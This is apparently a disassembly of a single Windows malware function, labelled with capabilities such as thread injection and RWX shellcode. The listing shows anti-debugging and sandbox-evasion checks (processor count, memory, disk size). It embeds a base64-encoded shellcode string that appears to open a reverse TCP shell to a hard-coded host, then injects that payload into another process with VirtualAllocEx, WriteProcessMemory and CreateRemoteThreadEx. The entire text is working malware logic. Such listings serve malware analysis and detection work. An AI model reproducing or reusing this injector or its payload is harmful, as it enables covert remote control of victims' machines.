Function at 0x140011541
Capabilities:
Allocate or change rwx memory
Create thread
Get memory capacity
Get system information on windows
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1400188b0
push rbp
push rdi
sub rsp, 0x508
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xd2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028018]
xor rax, rbp
mov qword [rbp + 0x4b8], rax
lea rcx, [0x14002e0f5]
call fcn.140011780
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x140018904
xor eax, eax
jmp 0x140018cb0
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 2
jae 0x140018921
xor eax, eax
jmp 0x140018cb0
mov dword [rbp + 0x80], 0x40
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rbp + 0x88]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0x800
jae 0x14001896c
xor eax, eax
jmp 0x140018cb0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x144]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0x118]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp + 0x124]
mov rcx, qword [rbp + 0x118]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x128]
imul rax, rcx
mov ecx, dword [rbp + 0x12c]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov dword [rbp + 0x164], eax
cmp dword [rbp + 0x164], 0x64
jae 0x140018a53
xor eax, eax
jmp 0x140018cb0
lea rdx, str.XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjY1x4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTBceDUyXHg1MVx4NDhceDMxXHhkMlx4NTZceDY1XHg0OFx4OGJceDUyXHg2MFx4NDhceDhiXHg1Mlx4MThceDQ4XHg4Ylx4NTJceDIwXHg0OFx4OGJceDcyXHg1MFx4NDhceDBmXHhiN1x4NGFceDRhXHg0ZFx4MzFceGM5XHg0OFx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceGUyXHhlZFx4NTJceDQ4XHg4Ylx4NTJceDIwXHg0MVx4NTFceDhiXHg0Mlx4M2NceDQ4XHgwMVx4ZDBceDY2XHg4MVx4NzhceDE4XHgwYlx4MDJceDBmXHg4NVx4NzJceDAwXHgwMFx4MDBceDhiXHg4MFx4ODhceDAwXHgwMFx4MDBceDQ4XHg4NVx4YzBceDc0XHg2N1x4NDhceDAxXHhkMFx4NTBceDhiXHg0OFx4MThceDQ0XHg4Ylx4NDBceDIwXHg0OVx4MDFceGQwXHhlM1x4NTZceDQ4XHhmZlx4YzlceDRkXHgzMVx4YzlceDQxXHg4Ylx4MzRceDg4XHg0OFx4MDFceGQ2XHg0OFx4MzFceGMwXHhhY1x4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceDM4XHhlMFx4NzVceGYxXHg0Y1x4MDNceDRjXHgyNFx4MDhceDQ1XHgzOVx4ZDFceDc1XHhkOFx4NThceDQ0XHg4Ylx4NDBceDI0XHg0OVx4MDFceGQwXHg2Nlx4NDFceDhiXHgwY1x4NDhceDQ0XHg4Ylx4NDBceDFjXHg0OVx4MDFceGQwXHg0MVx4OGJceDA0XHg4OFx4NDFceDU4XHg0OFx4MDFceGQwXHg0MVx4NThceDVlXHg1OVx4NWFceDQxXHg1OFx4NDFceDU5XHg0MVx4NWFceDQ4XHg4M1x4ZWNceDIwXHg0MVx4NTJceGZmXHhlMFx4NThceDQxXHg1OVx4NWFceDQ4XHg4Ylx4MTJceGU5XHg0Ylx4ZmZceGZmXHhmZlx4NWRceDQ5XHhiZVx4NzdceDczXHgzMlx4NWZceDMzXHgzMlx4MDBceDAwXHg0MVx4NTZceDQ5XHg4OVx4ZTZceDQ4XHg4MVx4ZWNceGEwXHgwMVx4MDBceDAwXHg0OVx4ODlceGU1XHg0OVx4YmNceDAyXHgwMFx4MDJceDlhXHg1Mlx4NTRceDZiXHg4N1x4NDFceDU0XHg0OVx4ODlceGU0XHg0Y1x4ODlceGYxXHg0MVx4YmFceDRjXHg3N1x4MjZceDA3XHhmZlx4ZDVceDRjXHg4OVx4ZWFceDY4XHgwMVx4MDFceDAwXHgwMFx4NTlceDQxXHhiYVx4MjlceDgwXHg2Ylx4MDBceGZmXHhkNVx4NmFceDBhXHg0MVx4NWVceDUwXHg1MFx4NGRceDMxXHhjOVx4NGRceDMxXHhjMFx4NDhceGZmXHhjMFx4NDhceDg5XHhjMlx4NDhceGZmXHhjMFx4NDhceDg5XHhjMVx4NDFceGJhXHhlYVx4MGZceGRmXHhlMFx4ZmZceGQ1XHg0OFx4ODlceGM3XHg2YVx4MTBceDQxXHg1OFx4NGNceDg5XHhlMlx4NDhceDg5XHhmOVx4NDFceGJhXHg5OVx4YTVceDc0XHg2MVx4ZmZceGQ1XHg4NVx4YzBceDc0XHgwY1x4NDlceGZmXHhjZVx4NzVceGU1XHg2OFx4ZjBceGI1XHhhMlx4NTZceGZmXHhkNVx4NDhceDgzXHhlY1x4MTBceDQ4XHg4OVx4ZTJceDRkXHgzMVx4YzlceDZhXHgwNFx4NDFceDU4XHg0OFx4ODlceGY5XHg0MVx4YmFceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDQ4XHg4M1x4YzRceDIwXHg1ZVx4ODlceGY2XHg2YVx4NDBceDQxXHg1OVx4NjhceDAwXHgxMFx4MDBceDAwXHg0MVx4NThceDQ4XHg4OVx4ZjJceDQ4XHgzMVx4YzlceDQxXHhiYVx4NThceGE0XHg1M1x4ZTVceGZmXHhkNVx4NDhceDg5XHhjM1x4NDlceDg5XHhjN1x4NGRceDMxXHhjOVx4NDlceDg5XHhmMFx4NDhceDg5XHhkYVx4NDhceDg5XHhmOVx4NDFceGJhXHgwMlx4ZDlceGM4XHg1Zlx4ZmZceGQ1XHg0OFx4MDFceGMzXHg0OFx4MjlceGM2XHg0OFx4ODVceGY2XHg3NVx4ZTFceDQxXHhmZlx4ZTcNCg
lea rcx, [rbp + 0x188]
call fcn.14001136b
nop
mov edx, 0x20
lea rcx, [rbp + 0x1c8]
call fcn.140011073
lea rdx, [rbp + 0x188]
lea rcx, [rbp + 0x1c8]
call fcn.140011325
nop
lea rcx, [rbp + 0x1c8]
call fcn.140011816
mov qword [rbp + 0x208], rax
lea rcx, [rbp + 0x1c8]
call fcn.140011348
mov qword [rbp + 0x228], rax
call fcn.1400116f4
mov dword [0x140028440], eax
mov r8d, dword [0x140028440]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
jne 0x140018b4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x264], eax
lea rdx, str.Error_code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
mov edx, dword [rbp + 0x264]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x464], 1
lea rcx, [rbp + 0x1c8]
call fcn.140011249
nop
lea rcx, [rbp + 0x188]
call fcn.14001114f
mov eax, dword [rbp + 0x464]
jmp 0x140018cb0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 8
xor edx, edx
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x288], rax
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x288]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rax, [0x140028444]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x288]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
mov qword [rbp + 0x2a8], rax
cmp qword [rbp + 0x2a8], 0
jne 0x140018c5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp + 0x2c4], eax
lea rdx, str.Error_code:
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110cd
mov edx, dword [rbp + 0x2c4]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14001104b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x484], 1
lea rcx, [rbp + 0x1c8]
call fcn.140011249
nop
lea rcx, [rbp + 0x188]
call fcn.14001114f
mov eax, dword [rbp + 0x484]
jmp 0x140018cb0
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x248]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x2a8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x4a4], 0
lea rcx, [rbp + 0x1c8]
call fcn.140011249
nop
lea rcx, [rbp + 0x188]
call fcn.14001114f
mov eax, dword [rbp + 0x4a4]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400222d0]
call fcn.140011659
mov rax, rdi
mov rcx, qword [rbp + 0x4b8]
xor rcx, rbp
call fcn.1400113cf
lea rsp, [rbp + 0x4c8]
pop rdi
pop rbp
ret